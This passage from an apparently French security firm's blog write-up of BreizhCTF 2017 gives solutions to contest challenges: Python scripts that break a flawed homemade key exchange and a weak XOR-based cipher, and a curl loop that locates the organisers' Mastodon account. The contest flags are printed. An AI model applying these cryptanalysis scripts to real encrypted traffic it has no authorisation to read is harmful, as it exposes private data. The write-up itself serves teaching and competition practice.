s: s[0:-ord(s[-1])]\ndef decrypt(message, key):\n    IV = message[:AES.block_size]\n    aes = AES.new(key, AES.MODE_CBC, IV)\n    decr = aes.decrypt(message[AES.block_size:])\n    return unpad(decr)\nshared = 65535\nprivate_key = 1449121672058438729139215000099850030 \/ shared\npub = 4658287721478817501151725639698791040L\nintermediate = long(pub) * private_key\nshared_secret = hashlib.sha256(str(intermediate).encode(\"utf-8\")).digest()\nprint decrypt(unhexlify(\n    \"64ff23d65f6926f1c55253e3b892a25872d44b0d48f9f0b01580958bfc1e668b5c9235e8f3ed2c0c76258152d97402604a10d507cfcbd701529dfa972afe7b4a\"),\n              shared_secret)<\/pre>\n<p>Message en clair avec le flag : \u201cSure : BZHCTF{This_key_exchange_Sux}\u201d<\/p>\n<p>En conclusion, cet \u00e9change de cl\u00e9 semble impl\u00e9menter un m\u00e9canisme similaire \u00e0 Diffie Hellman, seulement ici l&rsquo;utilisation d&rsquo;un simple produit au lieu d&rsquo;une exponentiation modulaire (donc plus simple \u00e0 inverser) ne permet plus de prot\u00e9ger le secret cr\u00e9\u00e9. Il est donc important de rappeler qu\u2019une impl\u00e9mentation maison d\u2019un algorithme de cryptographie est fortement d\u00e9conseill\u00e9e tant il est facile d\u2019ins\u00e9rer par m\u00e9garde des vuln\u00e9rabilit\u00e9s critiques.<\/p>\n<h1>Cyber Bullshit Cyber [crypto]<\/h1>\n<p><em>250 points | 57% de r\u00e9solution<\/em><\/p>\n<p>Pour cette \u00e9preuve de crypto nous avons un script Python qui impl\u00e9mente les fonctions de chiffrement et d\u00e9chiffrement d\u2019un algorithme maison <em>\u201ccustom CBC cipher based on SHA256 MAC\u201d<\/em>. L\u2019exemple fourni chiffre puis d\u00e9chiffre une cha\u00eene de caract\u00e8res avec une cl\u00e9 secr\u00e8te.<\/p>\n<p>Enfin, le script d\u00e9bute par un commentaire qui donne la cha\u00eene qu\u2019il nous incombe de d\u00e9chiffrer.<\/p>\n<p>Nous analysons dans le d\u00e9tail le fonctionnement de l\u2019algorithme de chiffrement. Le fonctionnement de cet algorithme est le suivant :<\/p>\n<ol>\n<li>un vecteur d\u2019initialisation (IV) al\u00e9atoire est g\u00e9n\u00e9r\u00e9<\/li>\n<li>un <em>keystream (ks)<\/em> est g\u00e9n\u00e9r\u00e9 en appliquant un HMAC-SHA256 avec cl\u00e9=IV et msg=cl\u00e9 secr\u00e8te. Ceci semble \u00eatre une erreur dans l\u2019ordre des arguments, toutefois ce d\u00e9faut n\u2019a pu \u00eatre exploit\u00e9.<\/li>\n<li>le message est d\u00e9coup\u00e9 en blocs car il s\u2019agit d\u2019un mode de chiffrement par blocs (CBC)<\/li>\n<li>le premier bloc est chiffr\u00e9 en le m\u00e9langeant avec un XOR avec le <em>keystream (ks)<\/em> pr\u00e9c\u00e9demment pr\u00e9par\u00e9<\/li>\n<li>puis chaque bloc est chiffr\u00e9 avec du XOR de la m\u00eame mani\u00e8re en le m\u00e9langeant avec le bloc pr\u00e9c\u00e9dent, et ainsi de suite<\/li>\n<li>le message chiffr\u00e9 est retourn\u00e9, pr\u00e9fix\u00e9 du vecteur d\u2019initialisation (IV)<\/li>\n<\/ol>\n<p>Le chiffr\u00e9 fait une taille de 96 octets, sachant que les blocs font 32 octets, cela donne un bloc d\u2019IV puis deux blocs de donn\u00e9es.<\/p>\n<p>Au final nous avons quelque chose qui para\u00eet compliqu\u00e9 mais qui se rapporte \u00e0 un simple chiffrement par XOR avec une faiblesse bien connue qui est que cette op\u00e9ration s\u2019annule si elle est dupliqu\u00e9e avec les m\u00eames arguments. En effet nous avons :<\/p>\n<p>bloc2_chiffr\u00e9 = bloc2_clair XOR bloc1_chiffr\u00e9<\/p>\n<p>=&gt;<\/p>\n<p>bloc2_chiffr\u00e9 XOR bloc1_chiffr\u00e9 = bloc2_clair XOR bloc1_chiffr\u00e9 XOR bloc1_chiffr\u00e9 = bloc2_clair<\/p>\n<p>Il ne reste plus qu\u2019\u00e0 impl\u00e9menter ceci en quelques lignes :<\/p>\n<pre class=\"prettyprint\">import sys\n# ciphered string\ns = \"\\x01@N\\x02t\\x1f60\\xaf?\\x1c\\xf1\\xadS\\xe2\\x9c\\n\\x97[\\xaa\\xf5\\xd0\\\\\\xd6\\x86\\xd7\\x9e\\xcaUr\\\\M\\xc3Q\\xae\\x01e\\x1e\\xcbz\\xbd\\x8f\\x89e^\\xde'\\xaa\\xbf\\xe4\\x19\\xe9\\xef\\x12r\\xdb\\xb0X\\xff\\\\&gt;\\xa1\\xad\\x98\\xa1+\\xc6b\\x11x\\xb0#\\xf2\\xc3\\xc6&amp;\\x0c\\x87w\\xfe\\xf0\\xd6)\\xd8\\xd8ox\\xd1\\xbaR\\xf5V4\\xab\\xa7\\x92\"\niv = s[0:32]\ns1 = s[32: 32 + 32]\ns2 = s[32 + 32:32 + 32 + 32]\nfor i in range(0, 32):\n\u00a0\u00a0\u00a0 sys.stdout.write(chr(ord(s2[i]) ^ ord(s1[i])))<\/pre>\n<p>Voici le flag : bzhctf{YOLOCRYPTO2017}<\/p>\n<h1>Recon [trivia]<\/h1>\n<p><em>100 points | 57% de r\u00e9solution<\/em><\/p>\n<p>La description de l\u2019\u00e9preuve annonce que les organisateurs sont pr\u00e9sents sur les r\u00e9seaux sociaux d\u2019avenir : l\u2019actualit\u00e9 nous fait imm\u00e9diatement penser \u00e0 Mastodon mais reste encore \u00e0 trouver l\u2019instance de ce r\u00e9seau d\u00e9centralis\u00e9 sur laquelle ils se sont inscrits.<\/p>\n<p>Nous obtenons sur\u00a0<a href=\"https:\/\/instances.mastodon.xyz\/list\">https:\/\/instances.mastodon.xyz\/list<\/a> la liste des instances, apr\u00e8s un peu de formatage et d\u2019extraction nous avons une liste d\u2019URL, il ne reste plus qu\u2019\u00e0 it\u00e9rer sur chacune \u00e0 la recherche d\u2019un code HTTP 200 pour le compte @breizhctf. La commande suivante, bien qu\u2019imparfaite (dans le feu de l\u2019action&#8230;), a tr\u00e8s bien fait l\u2019affaire :<\/p>\n<pre class=\"prettyprint\">for host in $(cat urls.txt); do echo $host; curl -s -o \/dev\/null -w \"%{http_code}\" \"$host\/@breizhctf\" 2&gt;&amp;1; done<\/pre>\n<p>Au bout de quelques secondes l\u2019instance est identifi\u00e9e :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2989\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-6.png\" alt=\"\" width=\"290\" height=\"134\" \/><\/p>\n<p>Nous avons bien identifi\u00e9 le compte mais visiblement le flag n\u2019est pas encore \u00e0 notre port\u00e9e :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2984\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/breizhctf17-1.png\" alt=\"\" width=\"447\" height=\"424\" \/><\/p>\n<p>Certains caract\u00e8res s\u2019affichent bizarrement en raison de leur remplacement par des caract\u00e8res Unicode similaires. Apr\u00e8s quelques tentatives pour deviner manuellement le flag, nous cherchons des articles ou applications relatifs \u00e0 la st\u00e9ganographie Unicode pour enfin tomber sur <a href=\"http:\/\/holloway.co.nz\/steg\/\">http:\/\/holloway.co.nz\/steg\/<\/a> qui nous donne \u00e0 partir du message post\u00e9 un lien vers un fichier contenant une liste d\u2019URLs. Le dernier lien de la liste (merci pour la balade) nous donnant enfin le flag.<\/p>\n<p><em>&#8212; Walid Arnoult, Cl\u00e9ment Notin, Arthur Villeneuve<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cette ann\u00e9e encore nous avons eu le plaisir de rejoindre Rennes pour l&rsquo;\u00e9dition 2017 du [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2075,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[143],"class_list":["post-2983","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-evenement","tag-breizhctf"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.0 (Yoast SEO v28.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>BreizhCTF 2017 - INTRINSEC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BreizhCTF 2017\" \/>\n<meta property=\"og:description\" content=\"Cette ann\u00e9e encore nous avons eu le plaisir de rejoindre Rennes pour l&rsquo;\u00e9dition 2017 du [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/\" \/>\n<meta property=\"og:site_name\" content=\"INTRINSEC\" \/>\n<meta property=\"article:published_time\" content=\"2017-05-01T11:30:05+00:00\" \/>\n<meta name=\"author\" content=\"Intrinsec\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:site\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Intrinsec\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/\"},\"author\":{\"name\":\"Intrinsec\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\"},\"headline\":\"BreizhCTF 2017\",\"datePublished\":\"2017-05-01T11:30:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/\"},\"wordCount\":2603,\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"keywords\":[\"breizhctf\"],\"articleSection\":[\"Ev\u00e8nement\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/\",\"name\":\"BreizhCTF 2017 - INTRINSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"datePublished\":\"2017-05-01T11:30:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#primaryimage\",\"url\":\"\",\"contentUrl\":\"\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2017\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.intrinsec.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"BreizhCTF 2017\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"name\":\"INTRINSEC\",\"description\":\"Notre m\u00e9tier , Prot\u00e9ger le v\u00f4tre\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.intrinsec.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\",\"name\":\"INTRINSEC\",\"alternateName\":\"ISEC\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"contentUrl\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"width\":1322,\"height\":1322,\"caption\":\"INTRINSEC\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/Intrinsec\",\"https:\\\/\\\/fr.linkedin.com\\\/company\\\/intrinsec\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UC0trUZAHNZOUbxYnNdecM4A\"],\"description\":\"soci\u00e9t\u00e9 de consulting, pure player cybers\u00e9curit\u00e9 fran\u00e7ais et europ\u00e9en depuis plus de 30ans, sp\u00e9cialiste dans la s\u00e9curit\u00e9 offensive & audit (pentest\\\/red team), GRC, et services IMSS comme le SOC, CTI et CERT Intrinsec est qualifi\u00e9 PASSI Elev\u00e9, PRIS Elev\u00e9 et PACS par l'ANSSI\",\"email\":\"contact@intrinsec.com\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\",\"name\":\"Intrinsec\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"caption\":\"Intrinsec\"},\"sameAs\":[\"https:\\\/\\\/www.intrinsec.com\"],\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/author\\\/ufhtbqccsz\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"BreizhCTF 2017 - INTRINSEC","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/","og_locale":"en_US","og_type":"article","og_title":"BreizhCTF 2017","og_description":"Cette ann\u00e9e encore nous avons eu le plaisir de rejoindre Rennes pour l&rsquo;\u00e9dition 2017 du [&hellip;]","og_url":"https:\/\/www.intrinsec.com\/en\/breizhctf-2017\/","og_site_name":"INTRINSEC","article_published_time":"2017-05-01T11:30:05+00:00","author":"Intrinsec","twitter_card":"summary_large_image","twitter_creator":"@Intrinsec","twitter_site":"@Intrinsec","twitter_misc":{"Written by":"Intrinsec","Est. reading time":"20 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#article","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/"},"author":{"name":"Intrinsec","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799"},"headline":"BreizhCTF 2017","datePublished":"2017-05-01T11:30:05+00:00","mainEntityOfPage":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/"},"wordCount":2603,"publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"image":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#primaryimage"},"thumbnailUrl":"","keywords":["breizhctf"],"articleSection":["Ev\u00e8nement"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/","url":"https:\/\/www.intrinsec.com\/breizhctf-2017\/","name":"BreizhCTF 2017 - INTRINSEC","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#primaryimage"},"image":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#primaryimage"},"thumbnailUrl":"","datePublished":"2017-05-01T11:30:05+00:00","breadcrumb":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.intrinsec.com\/breizhctf-2017\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#primaryimage","url":"","contentUrl":""},{"@type":"BreadcrumbList","@id":"https:\/\/www.intrinsec.com\/breizhctf-2017\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.intrinsec.com\/"},{"@type":"ListItem","position":2,"name":"BreizhCTF 2017"}]},{"@type":"WebSite","@id":"https:\/\/www.intrinsec.com\/#website","url":"https:\/\/www.intrinsec.com\/","name":"INTRINSEC","description":"Our job is to protect yours.","publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.intrinsec.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.intrinsec.com\/#organization","name":"INTRINSEC","alternateName":"ISEC","url":"https:\/\/www.intrinsec.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","contentUrl":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","width":1322,"height":1322,"caption":"INTRINSEC"},"image":{"@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/Intrinsec","https:\/\/fr.linkedin.com\/company\/intrinsec","https:\/\/www.youtube.com\/channel\/UC0trUZAHNZOUbxYnNdecM4A"],"description":"Intrinsec, a consulting firm and pure-play French and European cybersecurity provider for over 30 years, specializes in offensive security and auditing (penetration testing\/red teams), GRC, and IMSS services such as SOC, CTI, and CERT. Intrinsec is qualified at PASSI High, PRIS High, and PACS levels by ANSSI.","email":"contact@intrinsec.com"},{"@type":"Person","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799","name":"Intrinsic","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","caption":"Intrinsec"},"sameAs":["https:\/\/www.intrinsec.com"],"url":"https:\/\/www.intrinsec.com\/en\/author\/ufhtbqccsz\/"}]}},"_links":{"self":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/2983","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/comments?post=2983"}],"version-history":[{"count":0,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/2983\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/media?parent=2983"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/categories?post=2983"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/tags?post=2983"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}